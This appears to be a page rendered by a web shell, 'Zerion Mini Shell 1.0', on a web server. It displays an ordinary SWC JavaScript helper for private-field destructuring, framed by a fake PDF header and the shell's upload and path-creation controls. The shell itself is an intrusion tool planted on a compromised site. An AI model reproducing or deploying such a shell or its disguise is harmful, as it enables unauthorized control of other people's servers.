%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/@swc/helpers/lib/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/@swc/helpers/lib/_class_apply_descriptor_destructure.js

"use strict";
Object.defineProperty(exports, "__esModule", {
    value: true
});
exports.default = _classApplyDescriptorDestructureSet;
function _classApplyDescriptorDestructureSet(receiver, descriptor) {
    if (descriptor.set) {
        if (!("__destrObj" in descriptor)) {
            descriptor.__destrObj = {
                set value (v){
                    descriptor.set.call(receiver, v);
                }
            };
        }
        return descriptor.__destrObj;
    } else {
        if (!descriptor.writable) {
            // This should only throw in strict mode, but class bodies are
            // always strict and private fields can only be used inside
            // class bodies.
            throw new TypeError("attempted to set read only private field");
        }
        return descriptor;
    }
}

Zerion Mini Shell 1.0